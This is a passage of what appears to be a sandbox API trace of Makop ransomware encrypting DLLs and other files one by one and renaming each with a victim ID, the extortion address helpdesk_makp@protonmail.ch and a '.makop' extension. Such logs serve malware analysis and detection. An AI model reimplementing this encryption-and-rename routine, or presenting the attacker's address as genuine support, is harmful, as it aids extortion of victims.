dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.859] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2c380, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2c380, lpOverlapped=0x0) returned 1 [0094.865] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2c380, dwBufLen=0x2c380 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2c380) returned 1 [0094.867] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.867] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2c380, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2c380, lpOverlapped=0x0) returned 1 [0094.868] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.868] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2c444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.869] SetEndOfFile (hFile=0xf0) returned 1 [0094.878] GetProcessHeap () returned 0x48a0000 [0094.878] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0094.878] GetProcessHeap () returned 0x48a0000 [0094.878] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0094.878] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0094.878] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FPLACE.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fplace.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0094.879] CloseHandle (hObject=0xf0) returned 1 [0094.880] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1 [0094.880] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL") returned 67 [0094.880] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0094.880] GetProcessHeap () returned 0x48a0000 [0094.880] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0094.880] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0094.881] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0094.881] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.881] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.881] GetProcessHeap () returned 0x48a0000 [0094.881] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0094.881] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0094.881] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.881] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0094.898] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0094.899] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0094.899] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0094.899] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0094.899] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0094.899] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.899] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.899] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.900] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x26d80, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x26d80, lpOverlapped=0x0) returned 1 [0094.903] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x26d80, dwBufLen=0x26d80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x26d80) returned 1 [0094.905] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.905] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x26d80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x26d80, lpOverlapped=0x0) returned 1 [0094.906] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.906] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x26e44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.906] SetEndOfFile (hFile=0xf0) returned 1 [0094.915] GetProcessHeap () returned 0x48a0000 [0094.915] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0094.915] GetProcessHeap () returned 0x48a0000 [0094.915] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0094.915] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0094.916] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\FSTOCK.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\fstock.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0094.917] CloseHandle (hObject=0xf0) returned 1 [0094.917] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580, dwReserved0=0x0, dwReserved1=0x0, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1 [0094.917] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL") returned 66 [0094.917] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0094.921] GetProcessHeap () returned 0x48a0000 [0094.921] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0094.921] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0094.922] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0094.922] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.922] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.922] GetProcessHeap () returned 0x48a0000 [0094.922] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0094.922] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0094.922] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.922] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0094.927] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0094.927] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0094.927] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0094.927] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0094.928] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0094.928] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.928] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.928] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.928] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x39580, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x39580, lpOverlapped=0x0) returned 1 [0094.932] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x39580, dwBufLen=0x39580 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x39580) returned 1 [0094.935] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.935] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x39580, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x39580, lpOverlapped=0x0) returned 1 [0094.937] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x39644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.937] SetEndOfFile (hFile=0xf0) returned 1 [0094.947] GetProcessHeap () returned 0x48a0000 [0094.947] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0094.947] GetProcessHeap () returned 0x48a0000 [0094.947] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0094.947] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0094.948] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IETAG.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ietag.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0094.949] CloseHandle (hObject=0xf0) returned 1 [0094.949] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCONTACT.DLL", cAlternateFileName="IMCONT~1.DLL")) returned 1 [0094.949] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL") returned 70 [0094.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0094.951] GetProcessHeap () returned 0x48a0000 [0094.951] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0094.951] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0094.951] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0094.951] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.951] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.951] GetProcessHeap () returned 0x48a0000 [0094.951] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0094.951] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0094.951] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.952] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0094.956] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0094.956] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0094.956] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0094.956] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0094.956] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0094.957] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0094.957] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0094.957] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.957] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x18b80, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x18b80, lpOverlapped=0x0) returned 1 [0094.960] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x18b80, dwBufLen=0x18b80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x18b80) returned 1 [0094.961] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.961] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x18b80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x18b80, lpOverlapped=0x0) returned 1 [0094.962] CryptDestroyKey (hKey=0x48c7128) returned 1 [0094.962] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x18c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.962] SetEndOfFile (hFile=0xf0) returned 1 [0094.970] GetProcessHeap () returned 0x48a0000 [0094.970] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0094.970] GetProcessHeap () returned 0x48a0000 [0094.970] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0094.970] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0094.970] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\IMCONTACT.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\imcontact.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0094.972] CloseHandle (hObject=0xf0) returned 1 [0094.973] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LISTS", cAlternateFileName="")) returned 1 [0094.973] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS") returned 62 [0094.973] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*.*") returned 66 [0094.973] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0094.975] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.975] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0094.975] wsprintfW (in: param_1=0x65772f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033") returned 67 [0094.975] wsprintfW (in: param_1=0x6574870, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*") returned 71 [0094.975] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*", lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7168 [0094.976] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.976] FindNextFileW (in: hFindFile=0x48c7168, lpFindFileData=0x6574620 | out: lpFindFileData=0x6574620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATES.XML", 